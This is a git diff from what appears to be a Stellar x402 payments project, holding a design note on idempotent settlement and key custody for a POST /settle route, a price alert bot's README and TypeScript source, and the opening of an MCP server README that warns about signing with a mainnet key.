holds configuration and keys only, and returns - null rather than a half-built facilitator when no signing key is configured -- Both networks from the existing per-network config — no testnet-only path -- Tests in `src/__tests__/facilitatorSettle.test.ts`: the same payload settled - twice submits once and replays the first answer; the record exists before - submission (asserted from inside the settle spy); an in-flight record - resolves from the ledger rather than resubmitting; a `C…` contract-account - payload takes the same path as a `G…` one; both networks; every failure - branch returns a non-null `errorReason`; malformed payload → 400 still in - the settle shape - -Still outstanding, and not something code can supply: **a published settled -transaction hash per network**, per the RFP's acceptance criteria. That needs -funded keys on both networks, which is a deployment step rather than a change -to this PR. - -## The four decisions, restated for review - -1. **Key custody** — settlement signer plus optional fee-bump signer, env-held, - fee-only balances, no secret ever persisted. Objections? -2. **Idempotency key = inner transaction hash**, rather than a caller-supplied - header or a digest of the whole request body. -3. **Terminal failures are not retried under the same key** — a `failed` row - replays its failure instead of re-submitting. The alternative (let a retry - try again) trades idempotency for a second chance; I do not think that is - the trade to make here. -4. **`submitting` rows resolve from the ledger, never by resubmission.** - -If any of those four is wrong, say so and the implementation follows the -correction — these are the decisions the issue asked to have in the open, not -settled facts. +# Design note: `POST /settle` + +> **Status: implemented in the same PR as this note.** #126 asks for the four +> decisions below to be made in the open before settlement code is written, +> because this is the only facilitator route that moves money and a mistake in +> it is not recoverable by redeploying. The note is therefore the first thing +> to read and the thing to argue with: if a decision here is wrong, the code +> that follows it is wrong, and changing it is cheap now and expensive later. + +## Scope + +Per the RFP, settlement is not reimplemented: + +> "Respondents should build on the Apache-2.0 `@x402/stellar` package rather +> than reimplement verify and settle. Settlement on Stellar is largely solved; +> the novel work is discovery, the agent facing interface, the `upto` scheme +> upstream, and conformance that holds as the spec moves." + +So the cryptography, simulation checks, auth-entry validation and submission +all come from `ExactStellarScheme` in `@x402/stellar/exact/facilitator`, +registered on an `x402Facilitator` from `@x402/core/facilitator`. What this +route owns is the surface around that call: the wire contract, key custody, +idempotency, replay, and failure mapping. That is where the four questions +below live. + +The route sits alongside the other facilitator routes +(`src/routes/facilitator.ts`, introduced by #124) and reuses whatever +`x402Facilitator` instance #125 lands for `/verify`, rather than constructing a +second one. + +### Wire contract + +`HTTPFacilitatorClient` in `@x402/core` posts to `{url}/settle` with + +```json +{ "x402Version": 2, "paymentPayload": { … }, "paymentRequirements": { … } } +``` + +and parses the response against `settleResponseSchema`: + +```ts +type SettleResponse = { + success: boolean + errorReason?: string + errorMessage?: string + payer?: string + transaction: string // tx hash + network: Network + amount?: string + extensions?: Record +} +``` + +The client treats a non-2xx response whose body contains `success` as a +`SettleError` and anything else as a transport error. So: **a payment that +fails is a `200` with `success: false` and a non-null `errorReason`**, not a +4xx. 4xx/5xx is reserved for a request we could not parse or a fault that is +ours, and even then the body keeps the `SettleResponse` shape so an unmodified +canonical client can still read it. + +`payload: { transaction }` — the spec's base64 XDR envelope — is accepted +verbatim; the payload is passed to the SDK untouched. + +--- + +## 1. What keys does this hold? + +**Not the payer's.** In `exact` the payer authorises with a signed Soroban auth +entry carried inside `paymentPayload.payload.transaction`. The facilitator +never sees a payer secret and never holds user funds: the token contract moves +value payer → `payTo` directly, and `ExactStellarScheme` refuses a payload +where a facilitator address is a participant in the transfer (its +`validateSimulationEvents` check). Non-custodial is a property of the flow, not +a promise in a README. + +Two keys do exist, and both exist only to pay fees and supply a sequence +number: + +| Key | Role | Can it move user funds? | +|---|---|---| +| Settlement signer(s) — `FacilitatorStellarSigner[]` | Transaction source; signs and submits the envelope carrying the payer's auth entry | No. It authorises nothing in the token contract; the payer's auth entry does. | +| Fee-bump signer — `feeBumpSigner` (optional) | Fee source of a `FeeBumpTransaction` wrapping the inner transaction | No. It pays fees only, and decouples fee payment from sequence-number management. | + +This is the pattern the issue points at: Veil's sponsoring fee-payer, which +pays network fees for accounts whose funds it cannot touch. The accounts hold +XLM for fees and nothing else — no USDC, no user balances — so the blast radius +of a compromised settlement key is "someone burns our fee budget", not +"someone drains a payer". + +**Where the secret lives.** `FACILITATOR_SECRET_KEY_TESTNET` / +`FACILITATOR_SECRET_KEY_MAINNET` (with the unsuffixed `FACILITATOR_SECRET_KEY` +applying to testnet), resolved through `getNetworkConfig(network).facilitator` +— the same place `/supported` and `/verify` read their keys, so there is one +answer to "which account settles on this network". Read once at plugin init like every other secret +in this repo, held in process memory, never written to Postgres, never logged, +and never returned by any route. `/supported` continues to advertise only the +public addresses, which #124 already does via `FACILITATOR_SIGNER_ADDRESSES`. +With no secrets configured the route registers but answers every request with +`success: false` and a reason saying settlement is not configured, so a +misconfigured deploy fails loudly and safely instead of half-working. + +Fee ceiling stays configurable rather than hard-wired, per the RFP: +`maxTransactionFeeStroops` from `FACILITATOR_FEE_STROOPS_` (default +50,000), so a self-hoster can change it. + +## 2. Idempotency + +**The key is derived from the payload, never generated by us:** the hash of the +inner transaction, `new Transaction(payload.transaction, passphrase).hash()`, +hex-encoded, scoped by network. + +Three properties earn it the job. It is deterministic — a retry of the same +payload produces the same key without the caller sending an idempotency header. +It is the identifier the network itself will assign, so the key we store before +submitting is the same string we return in `SettleResponse.transaction` +afterwards. And it is network-scoped by construction, since the passphrase is +mixed into the hash — the same envelope on testnet and pubnet cannot collide. + +A fee bump does not disturb this: the fee-bump envelope hashes differently, but +the *inner* hash is unchanged, and the inner hash is what the ledger records +for the payment. We key on the inner hash and store the outer one for support. + +**The record is written before submission, not after** — the same lesson as +`packages/bills` in the Veil repo, where the reference is minted and stored +before dispatch precisely so a timeout is recoverable: + +```prisma +model SettlementAttempt { + id String @id @default(cuid()) + network String // stellar:pubnet | stellar:testnet + txHash String // inner transaction hash — the idempotency key + state String // submitting | settled | failed + payer String? + asset String? + amount String? + payTo String? + errorReason String? + errorMessage String? + response Json? // the SettleResponse we returned, replayed verbatim + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + @@unique([network, txHash]) +} +``` + +The unique constraint is the lock, not an advisory one held in application +memory: two concurrent settles for the same payload race to `INSERT`, exactly +one wins, and the loser takes the "already seen" path below. That holds across +replicas, which an in-process mutex would not. + +Sequence: insert `submitting` → call `facilitator.settle(...)` → update to +`settled`/`failed` with the response. If the process dies between the insert +and the update, the row is left in `submitting`, which is the honest state: we +do not know whether the network took it. Recovery reads the transaction by hash +from RPC rather than resubmitting. + +## 3. Replay across requests + +`/verify` stays side-effect free by design, so it cannot be what burns a +payload. `/settle` is. + +A payload is consumed the moment its `SettlementAttempt` row exists. On a +second settle for the same key: + +- `settled` → return the stored `SettleResponse` verbatim, `success: true`, same + transaction hash. The retrying resource server gets the answer it lost, and + the payer is charged once. +- `failed` → return the stored failure verbatim, including its `errorReason`. A + failed settle is not retried under the same key; the payer must re-authorise. +- `submitting` → do not resubmit. Look the hash up on-chain, finalise the row + from what the ledger says, and answer from that. If the ledger does not know + it yet, return `success: false` with a reason that says the settlement is + still in flight, which is a true statement rather than a guess. + +The chain would catch a genuine double-spend anyway — the auth entry carries a +nonce and `signatureExpirationLedger`, so a second submission of the same +envelope fails at the network. The database is what makes the *response* +deterministic and cheap instead of leaning on a failed submission to produce +it. Validity stays bounded by `signatureExpirationLedger` (~12 ledgers / 60s +from `maxTimeoutSeconds`), which the SDK enforces during verification. + +## 4. Failure semantics + +The rule is: **match the reference facilitator, do not invent our own vocabulary.** +`ExactStellarScheme` already emits a fixed set of reasons, and we return them +unaltered rather than rewriting them into something friendlier: + +`invalid_exact_stellar_payload_malformed`, +`settle_exact_stellar_signer_selection_failed`, +`settle_exact_stellar_transaction_signing_failed`, +`settle_exact_stellar_fee_bump_signing_failed`, +`settle_exact_stellar_transaction_submission_failed`, +`settle_exact_stellar_transaction_failed`, +`unexpected_settle_error`. + +| Situation | HTTP | `success` | `errorReason` | +|---|---|---|---| +| Settled and final | 200 | `true` | — | +| Rejected on-chain | 200 | `false` | whatever the SDK returned | +| Submitted, not yet final (SDK polling exhausted) | 200 | `false` | the SDK's reason; the row stays `submitting` and a retry answers from the ledger | +| RPC unreachable / our own fault | 200 | `false` | `unexpected_settle_error`, with the detail in `errorMessage` | +| Body not parseable as a settle request | 400 | `false` | `invalid_exact_stellar_payload_malformed` | +| Settlement keys not configured | 200 | `false` | `unexpected_settle_error` | + +**Every rejection carries a non-null `errorReason`** — an RFP hard criterion, +so that an agent can branch on failure instead of parsing prose. That is +asserted directly in the tests rather than left as a claim. + +`errorMessage` may carry detail for a human; it never carries key material, +XDR, or anything about other payers. + +## What the implementation does + +- `POST /settle` in `src/routes/facilitator.ts`, delegating to + `ExactStellarScheme` through `x402Facilitator` — no verification or + settlement logic of our own +- `SettlementAttempt` in `prisma/schema.prisma`, written before submission, + with `@@unique([network, txHash])` as the lock +- `src/x402/facilitator.ts` holds configuration and keys only, and returns + null rather than a half-built facilitator when no signing key is configured +- Both networks from the existing per-network config — no testnet-only path +- Tests in `src/__tests__/facilitatorSettle.test.ts`: the same payload settled + twice submits once and replays the first answer; the record exists before + submission (asserted from inside the settle spy); an in-flight record + resolves from the ledger rather than resubmitting; a `C…` contract-account + payload takes the same path as a `G…` one; both networks; every failure + branch returns a non-null `errorReason`; malformed payload → 400 still in + the settle shape + +Still outstanding, and not something code can supply: **a published settled +transaction hash per network**, per the RFP's acceptance criteria. That needs +funded keys on both networks, which is a deployment step rather than a change +to this PR. + +## The four decisions, restated for review + +1. **Key custody** — settlement signer plus optional fee-bump signer, env-held, + fee-only balances, no secret ever persisted. Objections? +2. **Idempotency key = inner transaction hash**, rather than a caller-supplied + header or a digest of the whole request body. +3. **Terminal failures are not retried under the same key** — a `failed` row + replays its failure instead of re-submitting. The alternative (let a retry + try again) trades idempotency for a second chance; I do not think that is + the trade to make here. +4. **`submitting` rows resolve from the ledger, never by resubmission.** + +If any of those four is wrong, say so and the implementation follows the +correction — these are the decisions the issue asked to have in the open, not +settled facts. diff --git a/examples/alert-bot/README.md b/examples/alert-bot/README.md index 4bb58637..0fd97121 100644 --- a/examples/alert-bot/README.md +++ b/examples/alert-bot/README.md @@ -1,37 +1,37 @@ -# Price Alert Bot Example - -A minimal "if XLM > X notify me" bot for issue #100. - -It connects to the Lens WebSocket price stream (`/ws`), watches a single -asset pair, and fires a notification the moment the price crosses your -threshold. Optionally it forwards each alert to an HTTPS URL (Slack, -Discord, your own service) signed with HMAC-SHA256 — the same delivery -path Lens uses for server-side webhooks. - -## Files - -- `alert-bot.ts` runs the bot. - -## Environment - -| Variable | Default | Description | -|---|---|---| -| `ALERT_BOT_WS_URL` | `ws://localhost:3002/ws` | Lens WebSocket endpoint | -| `ALERT_BOT_ASSET_A` | `XLM` | Base asset to watch | -| `ALERT_BOT_ASSET_B` | `USDC` | Quote asset | -| `ALERT_BOT_THRESHOLD` | — | Price level to alert on (required, e.g. `0.15`) | -| `ALERT_BOT_DIRECTION` | `above` | `above` or `below` | -| `ALERT_BOT_PAYMENT` | — | Optional base64 `X-PAYMENT` for x402-gated streams | -| `ALERT_BOT_NOTIFY_URL` | — | Optional HTTPS URL to POST alerts to | -| `ALERT_BOT_NOTIFY_SECRET` | `alert-bot` | HMAC secret for the notify URL | - -## Run - -```bash -npm run alert:bot -``` - -The bot supports `--help` for usage and `--once` to exit after the first -alert fires (handy for testing). - -See the full walkthrough in [docs/cookbook/alert-bot.md](../../docs/cookbook/alert-bot.md). +# Price Alert Bot Example + +A minimal "if XLM > X notify me" bot for issue #100. + +It connects to the Lens WebSocket price stream (`/ws`), watches a single +asset pair, and fires a notification the moment the price crosses your +threshold. Optionally it forwards each alert to an HTTPS URL (Slack, +Discord, your own service) signed with HMAC-SHA256 — the same delivery +path Lens uses for server-side webhooks. + +## Files + +- `alert-bot.ts` runs the bot. + +## Environment + +| Variable | Default | Description | +|---|---|---| +| `ALERT_BOT_WS_URL` | `ws://localhost:3002/ws` | Lens WebSocket endpoint | +| `ALERT_BOT_ASSET_A` | `XLM` | Base asset to watch | +| `ALERT_BOT_ASSET_B` | `USDC` | Quote asset | +| `ALERT_BOT_THRESHOLD` | — | Price level to alert on (required, e.g. `0.15`) | +| `ALERT_BOT_DIRECTION` | `above` | `above` or `below` | +| `ALERT_BOT_PAYMENT` | — | Optional base64 `X-PAYMENT` for x402-gated streams | +| `ALERT_BOT_NOTIFY_URL` | — | Optional HTTPS URL to POST alerts to | +| `ALERT_BOT_NOTIFY_SECRET` | `alert-bot` | HMAC secret for the notify URL | + +## Run + +```bash +npm run alert:bot +``` + +The bot supports `--help` for usage and `--once` to exit after the first +alert fires (handy for testing). + +See the full walkthrough in [docs/cookbook/alert-bot.md](../../docs/cookbook/alert-bot.md). diff --git a/examples/alert-bot/alert-bot.ts b/examples/alert-bot/alert-bot.ts index ba3d746f..30308e9a 100644 --- a/examples/alert-bot/alert-bot.ts +++ b/examples/alert-bot/alert-bot.ts @@ -1,160 +1,160 @@ -import 'dotenv/config' -import { pathToFileURL } from 'url' -import WebSocket from 'ws' -import { - buildThresholdAlertPayload, - crossesThreshold, - deliverJsonWithRetries, - type ThresholdDirection, -} from '../../src/alerts' - -const HELP_TEXT = `Usage: npm run alert:bot [-- --once] - -A "if XLM > X notify me" bot. It connects to the Lens WebSocket price -stream, watches a single pair, and fires a notification the moment the -price crosses your threshold. - -Flags: - --once Exit after the first alert fires (handy for testing). - --help Show this message. - -Environment: - ALERT_BOT_WS_URL=ws://localhost:3002/ws Lens WebSocket endpoint - ALERT_BOT_ASSET_A=XLM Base asset to watch - ALERT_BOT_ASSET_B=USDC Quote asset - ALERT_BOT_THRESHOLD=0.15 Price level to alert on - ALERT_BOT_DIRECTION=above "above" or "below" - ALERT_BOT_PAYMENT= Optional base64 X-PAYMENT for gated streams - ALERT_BOT_NOTIFY_URL= Optional HTTPS URL to POST alerts to - ALERT_BOT_NOTIFY_SECRET= Optional HMAC secret for the notify URL -` - -export interface AlertBotConfig { - wsUrl: string - assetA: string - assetB: string - threshold: number - direction: ThresholdDirection - payment?: string - notifyUrl?: string - notifySecret: string -} - -interface PriceUpdateMessage { - type: string - message?: string - assetA: string - assetB: string - previousPrice: number - currentPrice: number - timestamp: string -} - -function parseDirection(raw: string | undefined): ThresholdDirection { - if (raw === 'above' || raw === 'below') return raw - throw new Error('ALERT_BOT_DIRECTION must be "above" or "below"') -} - -export function readConfig(): AlertBotConfig { - const wsUrl = process.env.ALERT_BOT_WS_URL ?? 'ws://localhost:3002/ws' - const assetA = (process.env.ALERT_BOT_ASSET_A ?? 'XLM').toUpperCase() - const assetB = (process.env.ALERT_BOT_ASSET_B ?? 'USDC').toUpperCase() - const threshold = Number(process.env.ALERT_BOT_THRESHOLD) - const direction = parseDirection(process.env.ALERT_BOT_DIRECTION ?? 'above') - - if (!Number.isFinite(threshold)) { - throw new Error('ALERT_BOT_THRESHOLD must be a number (e.g. 0.15)') - } - - return { - wsUrl, - assetA, - assetB, - threshold, - direction, - payment: process.env.ALERT_BOT_PAYMENT || undefined, - notifyUrl: process.env.ALERT_BOT_NOTIFY_URL || undefined, - notifySecret: process.env.ALERT_BOT_NOTIFY_SECRET ?? 'alert-bot', - } -} - -/** True when a price update is for the pair we are watching (either order). */ -export function matchesPair(config: AlertBotConfig, msg: Pick): boolean { - const want = [config.assetA, config.assetB].sort().join('/') - const got = [msg.assetA.toUpperCase(), msg.assetB.toUpperCase()].sort().join('/') - return want === got -} - -async function fireAlert(config: AlertBotConfig, currentPrice: number, timestamp: string): Promise { - const payload = buildThresholdAlertPayload(config, config.assetA, config.assetB, currentPrice, timestamp) - - console.log( - `[alert-bot] ALERT ${payload.assetA}/${payload.assetB} is ${config.direction} ${config.threshold} ` + - `— price ${currentPrice} at ${timestamp}` - ) - - if (config.notifyUrl) { - await deliverJsonWithRetries(config.notifyUrl, payload, config.notifySecret) - } -} - -export async function runAlertBot(config = readConfig(), once = false): Promise { - const headers = config.payment ? { 'X-PAYMENT': config.payment } : undefined - const ws = new WebSocket(config.wsUrl, { headers }) - - await new Promise((resolve, reject) => { - ws.on('open', () => { - console.log( - `[alert-bot] connected to ${config.wsUrl} — watching ${config.assetA}/${config.assetB} ` + - `${config.direction} ${config.threshold}` - ) - resolve() - }) - ws.on('error', reject) - }) - - await new Promise((resolve, reject) => { - ws.on('message', (data: WebSocket.RawData) => { - let msg: PriceUpdateMessage - try { - msg = JSON.parse(data.toString()) - } catch { - return - } - - if (msg.type === 'error') { - reject(new Error(msg.message ?? 'stream error')) - return - } - if (msg.type !== 'price_update' || !matchesPair(config, msg)) return - - if (crossesThreshold(config, msg.previousPrice, msg.currentPrice)) { - void fireAlert(config, msg.currentPrice, msg.timestamp) - if (once) { - ws.close() - resolve() - } - } - }) - - ws.on('close', () => resolve()) - ws.on('error', reject) - }) -} - -async function main() { - if (process.argv.includes('--help')) { - console.log(HELP_TEXT.trim()) - return - } - - const once = process.argv.includes('--once') - await runAlertBot(undefined, once) -} - -if (process.argv[1] && pathToFileURL(process.argv[1]).href === import.meta.url) { - main().catch(err => { - console.error('[alert-bot] fatal error:', (err as Error).message) - process.exit(1) - }) -} +import 'dotenv/config' +import { pathToFileURL } from 'url' +import WebSocket from 'ws' +import { + buildThresholdAlertPayload, + crossesThreshold, + deliverJsonWithRetries, + type ThresholdDirection, +} from '../../src/alerts' + +const HELP_TEXT = `Usage: npm run alert:bot [-- --once] + +A "if XLM > X notify me" bot. It connects to the Lens WebSocket price +stream, watches a single pair, and fires a notification the moment the +price crosses your threshold. + +Flags: + --once Exit after the first alert fires (handy for testing). + --help Show this message. + +Environment: + ALERT_BOT_WS_URL=ws://localhost:3002/ws Lens WebSocket endpoint + ALERT_BOT_ASSET_A=XLM Base asset to watch + ALERT_BOT_ASSET_B=USDC Quote asset + ALERT_BOT_THRESHOLD=0.15 Price level to alert on + ALERT_BOT_DIRECTION=above "above" or "below" + ALERT_BOT_PAYMENT= Optional base64 X-PAYMENT for gated streams + ALERT_BOT_NOTIFY_URL= Optional HTTPS URL to POST alerts to + ALERT_BOT_NOTIFY_SECRET= Optional HMAC secret for the notify URL +` + +export interface AlertBotConfig { + wsUrl: string + assetA: string + assetB: string + threshold: number + direction: ThresholdDirection + payment?: string + notifyUrl?: string + notifySecret: string +} + +interface PriceUpdateMessage { + type: string + message?: string + assetA: string + assetB: string + previousPrice: number + currentPrice: number + timestamp: string +} + +function parseDirection(raw: string | undefined): ThresholdDirection { + if (raw === 'above' || raw === 'below') return raw + throw new Error('ALERT_BOT_DIRECTION must be "above" or "below"') +} + +export function readConfig(): AlertBotConfig { + const wsUrl = process.env.ALERT_BOT_WS_URL ?? 'ws://localhost:3002/ws' + const assetA = (process.env.ALERT_BOT_ASSET_A ?? 'XLM').toUpperCase() + const assetB = (process.env.ALERT_BOT_ASSET_B ?? 'USDC').toUpperCase() + const threshold = Number(process.env.ALERT_BOT_THRESHOLD) + const direction = parseDirection(process.env.ALERT_BOT_DIRECTION ?? 'above') + + if (!Number.isFinite(threshold)) { + throw new Error('ALERT_BOT_THRESHOLD must be a number (e.g. 0.15)') + } + + return { + wsUrl, + assetA, + assetB, + threshold, + direction, + payment: process.env.ALERT_BOT_PAYMENT || undefined, + notifyUrl: process.env.ALERT_BOT_NOTIFY_URL || undefined, + notifySecret: process.env.ALERT_BOT_NOTIFY_SECRET ?? 'alert-bot', + } +} + +/** True when a price update is for the pair we are watching (either order). */ +export function matchesPair(config: AlertBotConfig, msg: Pick): boolean { + const want = [config.assetA, config.assetB].sort().join('/') + const got = [msg.assetA.toUpperCase(), msg.assetB.toUpperCase()].sort().join('/') + return want === got +} + +async function fireAlert(config: AlertBotConfig, currentPrice: number, timestamp: string): Promise { + const payload = buildThresholdAlertPayload(config, config.assetA, config.assetB, currentPrice, timestamp) + + console.log( + `[alert-bot] ALERT ${payload.assetA}/${payload.assetB} is ${config.direction} ${config.threshold} ` + + `— price ${currentPrice} at ${timestamp}` + ) + + if (config.notifyUrl) { + await deliverJsonWithRetries(config.notifyUrl, payload, config.notifySecret) + } +} + +export async function runAlertBot(config = readConfig(), once = false): Promise { + const headers = config.payment ? { 'X-PAYMENT': config.payment } : undefined + const ws = new WebSocket(config.wsUrl, { headers }) + + await new Promise((resolve, reject) => { + ws.on('open', () => { + console.log( + `[alert-bot] connected to ${config.wsUrl} — watching ${config.assetA}/${config.assetB} ` + + `${config.direction} ${config.threshold}` + ) + resolve() + }) + ws.on('error', reject) + }) + + await new Promise((resolve, reject) => { + ws.on('message', (data: WebSocket.RawData) => { + let msg: PriceUpdateMessage + try { + msg = JSON.parse(data.toString()) + } catch { + return + } + + if (msg.type === 'error') { + reject(new Error(msg.message ?? 'stream error')) + return + } + if (msg.type !== 'price_update' || !matchesPair(config, msg)) return + + if (crossesThreshold(config, msg.previousPrice, msg.currentPrice)) { + void fireAlert(config, msg.currentPrice, msg.timestamp) + if (once) { + ws.close() + resolve() + } + } + }) + + ws.on('close', () => resolve()) + ws.on('error', reject) + }) +} + +async function main() { + if (process.argv.includes('--help')) { + console.log(HELP_TEXT.trim()) + return + } + + const once = process.argv.includes('--once') + await runAlertBot(undefined, once) +} + +if (process.argv[1] && pathToFileURL(process.argv[1]).href === import.meta.url) { + main().catch(err => { + console.error('[alert-bot] fatal error:', (err as Error).message) + process.exit(1) + }) +} diff --git a/examples/mcp-server/README.md b/examples/mcp-server/README.md index bada952f..ed14e7a5 100644 --- a/examples/mcp-server/README.md +++ b/examples/mcp-server/README.md @@ -1,192 +1,192 @@ -# Bazaar MCP Server Example - -This directory contains two runnable examples that expose the Lens Bazaar -catalog as a [Model Context Protocol](https://modelcontextprotocol.io) -(MCP) server: - -| Command | File | What it does | -|---|---|---| -| `npm run mcp:server` | `run.ts` | Starts the Bazaar MCP server on stdio. It signs x402 payment challenges with two Stellar secret keys — one for testnet, one for mainnet — and forwards paid API calls to Bazaar resources, handling the 402 → sign → 200 loop automatically. | -| `npm run mcp:agent` | `agent.ts` | Starts a mock Bazaar API on `http://localhost:3000`, connects an MCP client to the server, lists the available tools, calls `bazaar_search`, then makes a `paid_call` to the discovered resource. End-to-end demonstration of an agent discovering and paying for a resource. | - -## ⚠️ Warning: this signs with a real mainnet key - -`run.ts` requires `MCP_AGENT_SECRET_KEY_MAINNET` and builds a signer for -`stellar:pubnet` (mainnet). Any payment the server signs spends **real XLM** -from the account that key controls — there is no sandbox, no dry-run, and no -confirmation prompt. - -**Do not run these commands with a funded mainnet key until you have read the -"Safe way to try it first" section below.** - -The MCP server can spend up to `MCP_MAX_PAYMENT_PRICE` (default `$1.00`) per -paid call from the mainnet account. - -## Configuration - -| Variable | Required | Description | -|---|---|---| -| `MCP_AGENT_SECRET_KEY_TESTNET` | Yes | Stellar secret key used to sign payments on `stellar:testnet` | -| `MCP_AGENT_SECRET_KEY_MAINNET` | Yes | Stellar secret key used to sign payments on `stellar:pubnet` (mainnet) — **real money** | -| `MCP_MAX_PAYMENT_PRICE` | No | Maximum price the server will pay per request (default: `$1.00`) | - -Both keys are required: `run.ts` exits with an error if either is unset. - -The server talks to two Stellar networks: -- `stellar:testnet` — safe, friendbot-funded play money -- `stellar:pubnet` — mainnet, real XLM - -## Safe way to try it first - -Never test with a funded mainnet key. Instead: - -1. Create a fresh testnet account and fund it via [friendbot](https://docs.stellar.org/create-account) so it holds testnet XLM. Set `MCP_AGENT_SECRET_KEY_TESTNET` to that testnet secret. -2. For `MCP_AGENT_SECRET_KEY_MAINNET`, use a brand-new mainnet account with **zero XLM** (or any account you can afford to lose). A payment attempt against an unfunded account fails deterministically with `ERR_INSUFFICIENT_BALANCE` instead of spending money. -3. Leave `MCP_MAX_PAYMENT_PRICE` at its default `$1.00`, or lower it. - -Only once you have confirmed the flow behaves as expected on testnet should you consider pointing `MCP_AGENT_SECRET_KEY_MAINNET` at a funded mainnet account — and only with an amount you are prepared to spend. - -Never log, echo, print, or commit a real secret key. This README shows env var names only; it never shows a key value. - -## Worked example: connect a client and call each tool - -Prerequisites: - -- Node.js installed -- Dependencies installed at the repo root (`npm install`) -- The two secret-key env vars set (see "Safe way to try it first" above) - -Run the server in one terminal: - -```bash -export MCP_AGENT_SECRET_KEY_TESTNET= -export MCP_AGENT_SECRET_KEY_MAINNET= -npm run mcp:server -``` - -The server starts on stdio and logs: - -``` -[mcp-server] Starting Bazaar MCP server on stdio... -[mcp-server] Agent configured for stellar:testnet and stellar:pubnet -``` - -In another terminal, run the agent example, which connects an MCP client, -lists the tools, and calls both of them: - -```bash -npm run mcp:agent -``` - -Expected output (shortened for readability here; the actual run prints full -JSON): - -``` -[mock-server] Started mock Bazaar API on http://localhost:3000 -[agent] Starting MCP server child process... -[agent] Connected to Bazaar MCP server. -[agent] Available tools: bazaar_search, paid_call - -[agent] 1. Discovering resources at http://localhost:3000... -[agent] Executing tool: bazaar_search -[agent] Search result: {"resources":[{"name":"Mock Price Feed",...}]} - -[agent] 2. Making a paid call to http://localhost:3000/api/v1/price... -[agent] Executing tool: paid_call -[agent] The MCP server will handle the 402 loop automatically... -[agent] Paid call succeeded! Retrieved data: -{"asset":"XLM","price":0.15,"timestamp":"..."} - -[agent] End to end demonstration complete. -``` - -### What each tool does - -- `bazaar_search` — searches a Bazaar node's discovery endpoint. Takes `url` - (base URL of the Bazaar API) and an optional `query`. Returns the catalog of - discoverable resources, or a structured error such as `ERR_NO_RESULTS` or - `ERR_SERVICE_UNREACHABLE`. -- `paid_call` — makes a paid API call to a Bazaar resource, handling the x402 - 402 payment loop automatically. Takes `url` (full URL of the resource) and an - optional `method` (default `GET`). Returns the resource body, or a structured - error such as `ERR_PAYMENT_REJECTED`, `ERR_INSUFFICIENT_BALANCE`, - `ERR_MISSING_TRUSTLINE`, `ERR_EXPIRED_AUTHORISATION`, or - `ERR_SERVICE_UNREACHABLE`. - -### Standalone client example - -You can also connect your own MCP client to the server. This TypeScript -example connects via stdio, lists tools, and calls both tools: - -```typescript -import { Client } from '@modelcontextprotocol/sdk/client/index.js'; -import { StdioClientTransport } from '@modelcontextprotocol/sdk/client/stdio.js'; - -async function main() { - const transport = new StdioClientTransport({ - command: process.platform === 'win32' ? 'npx.cmd' : 'npx', - args: ['tsx', 'examples/mcp-server/run.ts'], - }); - - const client = new Client( - { name: 'bazaar-client-example', version: '1.0.0' }, - { capabilities: {} }, - ); - - await client.connect(transport); - - const tools = await client.listTools(); - console.log('Available tools:', tools.tools.map((t) => t.name).join(', ')); - - // 1. Search for resources - const search = await client.callTool({ - name: 'bazaar_search', - arguments: { url: 'http://localhost:3000', query: 'XLM price' }, - }); - console.log('Search:', search.content[0].text); - - // 2. Make a paid call to the discovered resource - const paid = await client.callTool({ - name: 'paid_call', - arguments: { url: 'http://localhost:3000/api/v1/price' }, - }); - console.log('Paid call:', paid.content[0].text); - - await client.close(); -} - -main().catch((err) => { - console.error(err); - process.exit(1); -}); -``` - -Run it with `npx tsx ` from the repo root, with the secret-key env vars -set. The server process is spawned automatically by the transport. - -## Error codes - -Paid-call failures return deterministic, machine-readable codes (see -`src/mcp/codes.ts`): - -| Code | Meaning | -|---|---| -| `ERR_PAYMENT_REJECTED` | Payment was required but rejected or failed | -| `ERR_INSUFFICIENT_BALANCE` | The signing account lacks the balance to pay | -| `ERR_MISSING_TRUSTLINE` | Missing trustline for the required asset | -| `ERR_EXPIRED_AUTHORISATION` | The transaction signature expired before submission | -| `ERR_SERVICE_UNREACHABLE` | The Bazaar service could not be reached | -| `ERR_NO_RESULTS` | The search returned no resources | -| `ERR_BAD_REQUEST` | The request failed with a non-402 error status | -| `ERR_INTERNAL_FAILURE` | An unknown error occurred during the paid call | - -An agent is the least able caller to notice a wrong answer: the server -prefers returning a structured error over guessing a best-effort result, so -always check `isError` before acting on a tool response. - -## Related - -- MCP server implementation: [`src/mcp/server.ts`](../../src/mcp/server.ts) -- Error codes: [`src/mcp/codes.ts`](../../src/mcp/codes.ts) -- Tests: [`tests/mcp.test.ts`](../../tests/mcp.test.ts) -- Repo README MCP section: [`README.md`](../../README.md#mcp-model-context-protocol) +# Bazaar MCP Server Example + +This directory contains two runnable examples that expose the Lens Bazaar +catalog as a [Model Context Protocol](https://modelcontextprotocol.io) +(MCP) server: + +| Command | File | What it does | +|---|---|---| +| `npm run mcp:server` | `run.ts` | Starts the Bazaar MCP server on stdio. It signs x402 payment challenges with two Stellar secret keys — one for testnet, one for mainnet — and forwards paid API calls to Bazaar resources, handling the 402 → sign → 200 loop automatically. | +| `npm run mcp:agent` | `agent.ts` | Starts a mock Bazaar API on `http://localhost:3000`, connects an MCP client to the server, lists the available tools, calls `bazaar_search`, then makes a `paid_call` to the discovered resource. End-to-end demonstration of an agent discovering and paying for a resource. | + +## ⚠️ Warning: this signs with a real mainnet key + +`run.ts` requires `MCP_AGENT_SECRET_KEY_MAINNET` and builds a signer for +`stellar:pubnet` (mainnet). Any payment the server signs spends **real XLM** +from the account that key controls — there is no sandbox, no dry-run, and no +confirmation prompt. + +**Do not run these commands with a funded mainnet key until you have read the +"Safe way to try it first" section below.** + +The MCP server can spend up to `MCP_MAX_PAYMENT_PRICE` (default `$1.00`) per +paid call from the mainnet account. + +## Configuration + +| Variable | Required | Description | +|---|---|---| +| `MCP_AGENT_SECRET_KEY_TESTNET` | Yes | Stellar secret key used to sign payments on `stellar:testnet` | +| `MCP_AGENT_SECRET_KEY_MAINNET` | Yes | Stellar secret key used to sign payments on `stellar:pubnet` (mainnet) — **real money** | +| `MCP_MAX_PAYMENT_PRICE` | No | Maximum price the server will pay per request (default: `$1.00`) | + +Both keys are required: `run.ts` exits with an error if either is unset. + +The server talks to two Stellar networks: +- `stellar:testnet` — safe, friendbot-funded play money +- `stellar:pubnet` — mainnet, real XLM + +## Safe way to try it first + +Never test with a funded mainnet key. Instead: + +1. Create a fresh testnet account and fund it via [friendbot](https://docs.stellar.org/create-account) so it holds testnet XLM. Set `MCP_AGENT_SECRET_KEY_TESTNET` to that testnet secret. +2. For 